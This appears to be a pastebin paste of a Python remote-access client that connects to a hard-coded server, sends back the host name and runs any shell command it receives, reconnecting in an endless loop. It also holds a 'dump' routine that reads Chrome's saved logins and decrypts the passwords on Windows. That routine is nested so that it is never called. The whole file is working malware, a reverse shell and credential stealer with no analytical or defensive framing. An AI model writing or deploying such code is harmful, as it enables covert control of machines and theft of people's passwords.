· 8 years ago · Mar 26, 2018, 03:28 AM
1#!/usr/bin/env python3
2import os
3import socket
4import subprocess
5import time
6import signal
7import sys
8import struct
9import sqlite3
10try:
11 import win32crypt
12except:
13 pass
14from time import sleep
15
16
17class Client(object):
18
19 def __init__(self):
20 # self.serverHost = '192.168.1.9'
21 self.serverHost = '192.168.1.23'
22 self.serverPort = 9999
23 self.socket = None
24
25 def register_signal_handler(self):
26 signal.signal(signal.SIGINT, self.quit_gracefully)
27 signal.signal(signal.SIGTERM, self.quit_gracefully)
28 return
29
30 def quit_gracefully(self, signal=None, frame=None):
31 print('\nQuitting gracefully')
32 if self.socket:
33 try:
34 self.socket.shutdown(2)
35 self.socket.close()
36 except Exception as e:
37 print('Could not close connection %s' % str(e))
38 # continue
39 sys.exit(0)
40 return
41
42 def socket_create(self):
43 """ Create a socket """
44 try:
45 self.socket = socket.socket()
46 except socket.error as e:
47 print("Socket creation error" + str(e))
48 return
49 return
50
51 def socket_connect(self):
52 """ Connect to a remote socket """
53 try:
54 self.socket.connect((self.serverHost, self.serverPort))
55 except socket.error as e:
56 print("Socket connection error: " + str(e))
57 time.sleep(5)
58 raise
59 try:
60 self.socket.send(str.encode(socket.gethostname()))
61 except socket.error as e:
62 print("Cannot send hostname to server: " + str(e))
63 raise
64 return
65
66 def print_output(self, output_str):
67 """ Prints command output """
68 sent_message = str.encode(output_str + str(os.getcwd()) + '> ')
69 self.socket.send(struct.pack('>I', len(sent_message)) + sent_message)
70 print(output_str)
71 return
72
73 def receive_commands(self):
74 """ Receive commands from remote server and run on local machine """
75 try:
76 self.socket.recv(10)
77 except Exception as e:
78 print('Could not start communication with server: %s\n' %str(e))
79 return
80 cwd = str.encode(str(os.getcwd()) + '> ')
81 self.socket.send(struct.pack('>I', len(cwd)) + cwd)
82 while True:
83 output_str = None
84 data = self.socket.recv(20480)
85 if data == b'': break
86 elif data[:2].decode("utf-8") == 'cd':
87 directory = data[3:].decode("utf-8")
88 try:
89 os.chdir(directory.strip())
90 except Exception as e:
91 output_str = "Could not change directory: %s\n" %str(e)
92 else:
93 output_str = ""
94 elif data[:].decode("utf-8") == 'quit':
95 self.socket.close()
96 break
97 elif data[:].decode("utf-8") == 'dump':
98 def dump():
99 info_list = []
100 path = getpath()
101 try:
102 connection = sqlite3.connect(path + "Login Data")
103 with connection:
104 cursor = connection.cursor()
105 v = cursor.execute(
106 'SELECT action_url, username_value, password_value FROM logins')
107 value = v.fetchall()
108
109 if (os.name == "posix") and (sys.platform == "darwin"):
110 print("Mac OSX not supported.")
111 sys.exit(0)
112
113 for information in value:
114 if os.name == 'nt':
115 password = win32crypt.CryptUnprotectData(
116 information[2], None, None, None, 0)[1]
117 if password:
118 info_list.append({
119 'origin_url': information[0],
120 'username': information[1],
121 'password': str(password)
122 })
123
124 elif os.name == 'posix':
125 info_list.append({
126 'origin_url': information[0],
127 'username': information[1],
128 'password': information[2]
129 })
130
131 except sqlite3.OperationalError as e:
132 e = str(e)
133 if (e == 'database is locked'):
134 print('[!] Make sure Google Chrome is not running in the background')
135 sys.exit(0)
136 elif (e == 'no such table: logins'):
137 print('[!] Something wrong with the database name')
138 sys.exit(0)
139 elif (e == 'unable to open database file'):
140 print('[!] Something wrong with the database path')
141 sys.exit(0)
142 else:
143 print(e)
144 sys.exit(0)
145
146 for i in info_list:
147 print(i)
148 sleep(1)
149
150
151 def getpath():
152 if os.name == "nt":
153 # This is the Windows Path
154 PathName = os.getenv('localappdata') + \
155 '\\Google\\Chrome\\User Data\\Default\\'
156 if (os.path.isdir(PathName) == False):
157 print('[!] Chrome Doesn\'t exists')
158 sys.exit(0)
159 elif ((os.name == "posix") and (sys.platform == "darwin")):
160 # This is the OS X Path
161 PathName = os.getenv(
162 'HOME') + "/Library/Application Support/Google/Chrome/Default/"
163 if (os.path.isdir(PathName) == False):
164 print('[!] Chrome Doesn\'t exists')
165 sys.exit(0)
166 elif (os.name == "posix"):
167 # This is the Linux Path
168 print('testy')
169 PathName = os.getenv('HOME') + '/.config/google-chrome/Default/'
170 if (os.path.isdir(PathName) == False):
171 print('[!] Chrome Doesn\'t exists')
172 sys.exit(0)
173
174 return PathName
175
176 elif len(data) > 0:
177 try:
178 cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE,
179 stderr=subprocess.PIPE, stdin=subprocess.PIPE)
180 output_bytes = cmd.stdout.read() + cmd.stderr.read()
181 output_str = output_bytes.decode("utf-8", errors="replace")
182 except Exception as e:
183 # TODO: Error description is lost
184 output_str = "Command execution unsuccessful: %s\n" %str(e)
185 if output_str is not None:
186 try:
187 self.print_output(output_str)
188 except Exception as e:
189 print('Cannot send command output: %s' %str(e))
190 self.socket.close()
191 return
192
193
194def main():
195 client = Client()
196 client.register_signal_handler()
197 client.socket_create()
198 while True:
199 try:
200 client.socket_connect()
201 except Exception as e:
202 print("Error on socket connections: %s" %str(e))
203 time.sleep(5)
204 else:
205 break
206 try:
207 client.receive_commands()
208 except Exception as e:
209 print('Error in main: ' + str(e))
210 client.socket.close()
211 return
212
213
214if __name__ == '__main__':
215 while True:
216 main()